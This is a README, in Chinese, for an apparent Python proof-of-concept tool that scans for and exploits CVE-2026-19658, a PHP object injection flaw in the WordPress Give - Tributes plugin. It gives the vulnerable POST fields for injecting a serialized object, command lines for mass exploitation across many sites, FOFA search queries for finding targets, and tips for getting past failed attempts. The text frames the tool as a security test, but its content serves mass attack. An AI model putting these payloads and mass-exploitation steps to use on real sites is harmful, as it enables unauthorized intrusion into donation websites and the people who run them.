Python 3 检查器与漏洞利用辅助工具,针对 CVE-2026-19658——WordPress Give Tributes 的 PHP 对象注入漏洞,具备 FOFA 目标发现与旧版捐赠表单利用功能。
针对 WordPress 插件 Give - Tributes(Liquid Web / GiveWP)中 CVE-2026-19658 的 Python 3 概念验证 扫描器与捐赠链利用辅助工具。
| 平台 | WordPress 插件(需要 GiveWP 核心) |
| 组件 | Give - Tributes |
| 受影响版本 | ≤ 2.3.1 |
| 修复版本 | 2.3.1.1+(已清理多收件人 eCard 字段) |
| CVSS | 9.8 严重 |
| 认证 | 未认证(旧版捐赠表单) |
| CWE | CWE-502 — 不可信数据反序列化 |
| 分配者 | Wordfence |
当 eCard 启用 Allow Multiple Recipients 且 eCard custom message 被 禁用(默认)时,存在漏洞的版本会将 原始 $_POST eCard 收件人数据存储到捐赠元数据中。GiveWP 字段验证使用 $_POST 的 give_clean() 副本(序列化字符串在此处被清空),但 insert_tribute_data() 读取的是 未清理 的 $_POST,因此第二个收件人的 first_name / last_name 可以包含 PHP 序列化对象。
影响: 仅 Give Tributes 本身没有已知的 POP 链。元数据在读取时被反序列化(例如管理员 eCard 预览/重发)。RCE 或破坏性影响 需要来自 另一个 已安装插件或主题的 gadget 链。
[give_form] / v2),而非仅 v3 的 Visual Form Buildermanual)pip install -r requirements.txtpip install -r requirements.txt
# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
示例:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
主机列表(每行一个域名):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
FOFA CSV 导出:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
在利用运行时使用 --vuln-list exploited.txt,以免 hits.txt 中的检查命中被覆盖。
status 值远程扫描 无法 可靠地看到 “Allow Multiple Recipients”;候选目标在利用时仍可能失败。
first_name 字段。manual 网关 在生产环境中通常被禁用——尝试表单上可见的网关(stripe、paypal、test 等)。give validation rejected donation:tribute/notify 选项、金额或网关不匹配。give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
本地扫描列表和运行产物(list.txt、fofa*.csv、*.jsonl、hits.txt 等)位于 .gitignore 中,不应提交。
仅用于 授权的安全测试和教育。您有责任遵守适用的法律和项目规则。
| 选项 | 描述 |
|---|
-u, --url | 单个基础 URL |
--list | URL 列表、主机文件或 candidates.jsonl |
--mode | check 或 exploit |
--form-url | 捐赠页面路径或完整 URL |
--form-id | Give 表单文章 ID |
--paths | 用于爬取表单的额外路径 |
--payload | 第二个收件人 first_name 的序列化对象 |
--gateway | Give payment-mode(默认 manual) |
--email | 捐赠者 give_email |
--flow | 批量运行时每个目标一行(使用 --list 时默认) |
--no-flow | 仅显示进度摘要 |
--quiet, -q | 最小化控制台输出 |
--threads, -j | 批量并发数(默认 12) |
--output | JSONL 日志(默认 cve_2026_19658_results.jsonl) |
--vuln-list | 文本命中/已利用行(默认 hits.txt) |
--candidates-list | 检查元数据 JSONL(默认 candidates.jsonl) |
| 文件 | 模式 | 内容 |
|---|
cve_2026_19658_results.jsonl | 两者 | 每个目标的完整 JSON |
hits.txt | check | 带有 exploitable_candidate 的 URL |
candidates.jsonl | check | best_form、版本提示 |
exploited.txt | exploit | 捐赠确认时的 url|payment=… |
| 状态 | 含义 |
|---|
candidate | 存在漏洞的插件 + Give + 带 tributes UI 的旧版表单 |
vulnerable_no_form | 插件/版本正常,但在爬取路径上未找到合适的表单 |
patched | Tributes > 2.3.1 或 ≥ 2.3.1.1(当版本可读时) |
give_only | 有 Give 但未检测到 Tributes |
no_plugin | 未检测到 Tributes |